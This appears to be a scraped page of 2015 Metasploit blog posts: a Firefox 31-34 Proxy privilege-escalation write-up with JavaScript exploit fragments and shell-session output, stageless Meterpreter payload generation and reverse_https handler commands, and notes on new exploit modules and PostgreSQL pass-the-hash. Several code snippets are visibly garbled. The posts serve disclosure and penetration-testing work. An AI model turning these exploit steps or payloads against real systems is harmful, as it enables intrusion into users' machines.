As you can see, tagging can be a powerful feature for host management. It allows you to identify what you want quickly and save time for your penetration test. For Metasploit Framework, it provides some basic functionalities you need for tagging. But if you use Metasploit Pro, or even the Express/Community edition, you can do more. If you have never used Metasploit, clearly you are missing out, why don't you download it here.

This blog post was originally written by Joe Vennix, and published here with his permission. All first person pronouns refer to him.


Adventures in Browser Exploitation: Firefox 31 - 34 RCE

A few months ago, I was testing some Javascript code in Firefox involving Proxies. Proxies are a neat ECMAScript 6 feature that Firefox has had implemented for some time now. Proxy objects allow transparent interception of Javascript's normal get-/set-property pattern:


    var x = {};
    var p = Proxy(x, {
      get: function() {
        console.log('getter called!');
        return 'intercepted';
      set: function() {
        console.log('setter called!');

    console.log(; = 1;


When run, the above code will print:


    > getter called!
    > intercepted
    > setter called!


This is very useful to Javascript programmers as it allows for the implementation of the Ruby-style method_missing catch-all method. However, there are security implications; the W3C spec often requires objects from untrusted Javascript to be passed to privileged native code. Getters and setters can allow unprivileged code to run in unexpected ways inside of the privileged native code itself, at which point security checks can start to break. One example of this is geohot's 2014 Chrome ArrayBuffer memory corruption bug, which tricked native code operating on the buffer by defining a dynamic getter method on the ArrayBuffer's length property. There's a a good writeup by Palo Alto Networks.


So, the presence of Proxy objects in Firefox mainstream warrants some investigation. After playing with the implementation, some problems were apparent in how privileged code would interact with Proxy objects that were acting as the prototype of another object. For example, the following line would hang the browser indefinitely:


    document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }});


I played with it some more but could not find a way to abuse the problem further. I reported this to Mozilla as bug 1120261, hoping that someone would investigate. After some back-and-forth, I found out that the problem was already fixed in the 35.0 branch, so I put the issue out of my mind.


The Breakthrough

A thought struck one day, perhaps the getter is being called back in a different environment. I decided to test this theory by attempting to open a window with chrome privileges: such an operation should not be permitted by unprivileged code. I gave it a shot:


    var props = {};
    props['has'] = function(){
      var chromeWin = open("chrome://browser/content/browser.xul", "x")();

    document.__proto__ = Proxy.create(props)


I loaded the page and an alert for "attempting to open a popup window" appeared. This was a good sign, as it meant the chrome:// URL was being allowed to load, and was stopped only by the popup blocker. Which meant... clicking anywhere on the page opened a chrome-privileged URL.


What is chrome:// ?

Let's back up a bit. Firefox, like many other browsers, has a notion of privileged zones: different URI schemes have different powers. Chromium does this too (chrome://downloads), and Safari to some extent (file:// URLs). However, Firefox's chrome:// scheme is rather powerful - the Javascript executing under an origin with a scheme of chrome:// has the full privileges of the browser. In the presence of the right vulnerability, attackers can use this to get a fully-working shell on the user's machine.


If you want to test this, open the Developer Console (meta-alt-i) and browse to `chrome://browser/content/browser.xul`. Run the following code (linux/osx only):


    function runCmd(cmd) {
        var process = Components.classes[";1"]
        var sh = Components.classes[";1"]
        var args = ["-c", cmd];, args, args.length);

    runCmd("touch /tmp/owned");


You should have a file in /tmp/owned.


So if an attacker can find a way to inject code into this window, like we did with the Developer Console, your entire user account is compromised.


Injecting code

Gaining a reference to a chrome:// window is only half the battle. The Same Origin Policy prevents from interacting with the code in chrome://browser, so we will need to find a way around this. Here I got really lucky; I tried a technique I had used when implementing our 22.0-27.0 WebIDL exploit.


Here's the technique: by providing the chrome option to open(), when open is called from a chrome-privileged docshell, the provided URL is loaded as the top-level "frame" of the new browser window; that is, there is no skin or interface document that encapsulates our document. A top-level frame has a messageManager property, which is accessible to same-origin code running in other chrome docshells:


    // abuse vulnerability to open window in chrome://
    var c = new mozRTCPeerConnection;
      var w ='chrome://browser/content/browser.xul', 'top', 'chrome');

      // we can now reference the `messageManager` property of the window's parent


MessageManager is a privileged Firefox API for sending messages between processes. One useful detail is that it allows injecting Javascript code into the process remotely using the `loadFrameScript` function.


Gaining RCE

From here, gaining remote code execution is trivial, thanks to the Firefox privileged payloads included in Metasploit. Just include the Msf::Exploit::Remote::FirefoxPrivilegeEscalation mixin, and the run_payload method will return a configured piece of Javascript code that will call Firefox's XPCOM APIs to spawn a reverse or bind shell on the target. JSON is used here to avoid encoding issues:


    # Metasploit module (ruby code)
    js_payload = run_payload
    js = %Q|
        var payload = #{JSON.unparse({code: js_payload})};
    send_response_html(cli, "<script>js</script>")


To see the full exploit source code, see today's disclosure Pull Request 4985. For the impatient, here's what a command shell looks like in Metasploit Framework (tested against Firefox version 32 release):


msf exploit(firefox_proxy_prototype) >
[*]    firefox_proxy_prototype - Gathering target information.
[*]    firefox_proxy_prototype - Sending HTML response.
[*] Command shell session 1 opened ( -> at 2015-03-23 11:48:53 -0500


Note, that while the Tor Browser Bundle advertises itself as Firefox version 31, it does not appear exploitable in any reasonable setup.


Disclosure Timeline

This vulnerability was disclosed according to Rapid7's disclosure policy to Mozilla and CERT/CC.


Jan 11, 2015: Originally reported to Mozilla as a low-severity DoS, which turned out to be already patched in trunk

Jan 13, 2015: Firefox 35.0 shipped with patch

Jan 20, 2015: RCE implications discovered and disclosed to Mozilla

Feb 04, 2015: Disclosure to CERT/CC

Feb 13, 2015: Mozilla updates their original security advisory, MFSA2015-09 to note possibility of RCE

Mar 23, 2015: Public disclosure in Pull Request 4985.


All in all, I was impressed with Mozilla's response. Plus they sent me a bug bounty for discovering an RCE exploitation vector of an already-patched bug. Very classy!


This blog post was originally written by Joe Vennix, and published here with his permission.

The Mozilla bug is still currently under embargo as of this writing.

Disclosure timeline updated to correct an error on the Jan 13 / FF 35 update.

Affected version range in title corrected: 31.0 - 34.0.5 is the correct vulnerable version range.

Stageless Meterpreter

Remember the Metasploit Pop Quiz we ran about a month back? Well, we got tons of support from you, the Metasploit users, and have been picking out what you want to see and have started turning those wishes into reality. I know HD, Brent, and OJ are working up a much more exhaustive blog post for next week to lay out what's going where and when, but one of the more significant updates to Meterpreter landed last night: Stageless Meterpreter.


You're encouraged to read OJ's detailed overview over on PR 4925 to get the skinny on the latest work, and we'd love to hear back about your experiences with these. Right now, you will have to come up with your own custom executable template for generation, since the .text sections of the new stageless Meterpreter binaries are rather huge. We'll ship some defaults soon, but in the meantime, if you want to kick the tires on these new Meterpreters, you're going to need to hunt down something for yourself. OJ used ImmunityDebuger.exe which sports a 981kb .text section, and I've had success with nginx.exe and its monstrous 2MB .text section (you can pick it up here). Behold:


# Here's the staged Meterpreter generation:

msf exploit(handler) > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > generate -f /home/todb/templates/met.exe -t exe
[*] Writing 73802 bytes to /home/todb/templates/met.exe...

# And now for stageless Meterpreter:

msf payload(reverse_https) > use payload/windows/meterpreter_reverse_https
msf payload(meterpreter_reverse_https) > generate -f /home/todb/templates/smet.exe -t exe
[-] Payload generation failed: The .text section for 'template_x86_windows.exe' is too small. Minimum is 779166 bytes, your .text section is 45056 bytes
msf payload(meterpreter_reverse_https) > generate -f /home/todb/templates/smet.exe -t exe -x /home/todb/templates/nginx.exe
[*] Writing 2745344 bytes to /home/todb/templates/smet.exe...

# And here's the stageless version in action:

msf payload(meterpreter_reverse_https) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter_reverse_https
payload => windows/meterpreter_reverse_https
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter_reverse_https):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (accepted: seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   LHOST    yes       The local listener hostname
   LPORT       8443             yes       The local listener port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > run

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...
[*] Request received for /4rGu_y77pjV2MMrmmqOAa/...
[*] Incoming orphaned or stageless session 4rGu_y77pjV2MMrmmqOAa, attaching...
[*] Meterpreter session 1 opened ( -> at 2015-03-20 12:30:16 -0500

meterpreter >


So, if you're fine with a much larger file size, these stageless Metepreters should come in pretty handy. There's quite a few upsides to this technique, but I don't want to give away any spoilers there quite yet - stay tuned!


New Modules

Since the last Wrapup, we have lots of new exploit goodness -- a total of nine new exploit modules and two new auxiliary modules have landed in the last 10 days or so.


Of special interest is the fact that the ghost of Stuxnet is back, with the two new LNK file format code exec exploits. We now have an exploit for Classic Stuxnet (MS10-046) and one for the New Stuxnet (MS15-020). Our own Juan Vazquez has also put together a really nice howto on the original pull request for these modules, PR 4911. For more backstory on this bug, see the Krebs On Security post. Finally, keep in mind that there's no publicly available patch for Windows XP for this; using this technique should get you privileged access on any XP device pretty much in perpetuity. Since XP still accounts for nearly 20% of desktop market share, that's kind of a huge bummer for defenders.


As usual, you can check out the release notes for the latest released version of Metasploit, lovingly prepared by Thao.

Sharing is Caring

One of the nits we've all had to pick with Metasploit is that when you have a module that involves getting a client to connect to an evil SMB server to fetch a file, the strategy usually used involved generating the file with a module then serving that up on your own Samba or Windows share. This worked, of course, but what a hassle. Who wants to run two things? Nobody!


Well, those days are now behind us, thanks largely to the Herculean efforts of Metasploit community contributor Matthew 0x41414141 Hall. This last week, we landed #3074, one of the longest running pull requests we've had. SMB itself is pretty complicated, as anyone who's worked with this protocol can attest, so it's no wonder this took a year or so of gnashing and hacking.


Coding up a SMB file server in Metasploit-flavored Ruby was a huge feat, and I'm super happy that Matthew stuck with it. He worked with the Metasploit open source community (especially Juan there at the end), and hauled this thing over the finish line, all the while with an amazingly positive attitude.


So, now that we have the mixin, I'm sure there are a bunch of modules that could use a retrofit to use it. If you're looking for some way to contribute to the Framework, that'd be a fine place to start.


New Modules

Since the last blog post, we've added two new exploits to the Metasploit Framework. The first is a Flash exploit from Juan Vazquez, who's taken on Flash reversing and exploitation as a personal mission in the light of the run of recent Flash 0-days. Since these bugs first became public when they were discovered as part of active attacks, it's important to test to ensure that your end-user constituency has a reasonable update schedule.


The other involves the sinister-sounding Nvidia Mental Ray Satellite Service. Turns out, this is not an orbital mind control platform, but rendering software used by tons of movie studios. So, more ground-based mind control, I guess.


The Metasploit module was implemented by Ben Meatballs Campbell, based on the research by Luigi Auriemma and Donato Ferrante. Incidentally, it uses 0x41414141's SMB file server mixin, so it's got that going for it now, which is nice.


Granted, this sort of rendering software suite isn't likely to come up in your average engagement, but if you're in the business of running this kind of gear, you'll probably want to double-check your network separation -- while it was disclosed a little while back, there's no indication from the vendor that there's been a patch.


But really, how often do movie studios get compromised, anyway? Probably no big deal, right?


Exploit modules


You should also check out what's included in this week's packaged release by reading Thao's most excellent release notes.

Pass the Hash, Database Style

postgresql-logo-183x203.pngOne of the tried and true techniques for extending access in any Windows environment is the Pass the Hash (PTH) attack. As you can see from the linked Wikipedia article, this attack is described in the context of Microsoft authentication protocols NTLM and its older sibling, LanMan. If you have the hashed password for something that relies on NTLM-based authentication, you needn't bother cracking it; for reasons escaping easy explanation, the hash itself is just as functional as the underlying password.


Well, it looks like someone needs to update the Wikipedia article. It was revealed recently on the Hashcat Forum that PostgreSQL instances are also vulnerable to Pass The Hash. Again, the reasons for allowing PTH as a protocol element aren't well-articulated, and it's difficult to understand how such a thing could be implemented by accident. To allow this, you need code that says, "Oh, here's the password, and I'm going to encode it -- oh wait, no, it's already encoded, so I'll just pass it along." It's a very strange protocol design decision, and not one that comes up often.


While I don't know the reasons Microsoft and the PostgreSQL folks had for this, what may be going on here is a misunderstanding between "encoding" and "encrypting." So, let me back up a little bit.


MD5 is part and parcel of many encryption standards and has its own set of weaknesses which I won't get into here. However, it's a hashing algorithm, not an encryption algorithm. There is no secret key, and the md5sum of "trustno1" is always and forever 5fcfd41e547a12215b173ff47fdd3739. So, while this may look random and unguessable, it's already been added to any number of rainbow tables, given its status as an extremely common password.


Rainbow tables, though, aren't the problem here. Let's say I know your password hash is ac76486d35cb6ab4cbe52fd4a034e9ce, which is an uncommon password hash and not currently on any public rainbow table. But, I don't care, because if I can just take that hash and treat it like a password, I don't have to do any of that tiring cryptanalysis or cracking work. For all practical purposes, the password hash and the original, cleartext password itself are equivalent. In this configuration, every PostgreSQL user actually has two passwords, and either will work.


So, if I'm a penetration tester, and your PostgreSQL database is set up to store MD5 hashes of passwords, and your database also accepts MD5 hashes as passwords, storing the hash is exactly the same as storing the plaintext password for that database. This breaks one of the cardinal rules of authentication database design: Thou Shalt Not Store Cleartext Passwords.


Sure, I'd love to know what the plaintext behind ac76486d35cb6ab4cbe52fd4a034e9ce is, and given enough effort I can find that out. If I have that, I can start reusing the true plaintext password over other protocols. But, if I get in a position to sniff or dump PostgreSQL password hashes, I can extend my access to both that particular database server, and any other PostgreSQL database where the same passwords have been stored. This is great news for the penetration tester, since these people love extending access laterally. After popping shells, it's pretty much their favorite thing to do. Thanks to Dave TheLightCosine Maloney for updating the Metasploit Credential schema and LoginScanner mixin to allow for this new PTH vector.


New Modules

Since the last blog post, we've added six new exploits and three new auxiliary modules. In addition to the unpatched PostgreSQL design flaw, we have a new exploit for unpatched Seagate Business NAS devices. You really should read OJ's account of how an otherwise normal vulnerability disclosure exercise went sideways. The bummer here is not that Seagate is particularly incompetent or anything like that -- the bummer is that this sort of fruitless back and forth is pretty much industry standard, even for tech heavyweights. When you run into the fact that some major hardware and software vendors have no reasonable mechanism for dealing with reported vulnerabilities, it can be pretty demoralizing. Give OJ TheColonial Reeves a hug next time you see him, okay? Let him know that you at least still believe in the Exploit Fairy.


Exploit modules


Auxiliary and post modules


You should also check out what's included in this week's packaged release by reading Thao's most excellent release notes.

Filter Blog

By date: By tag: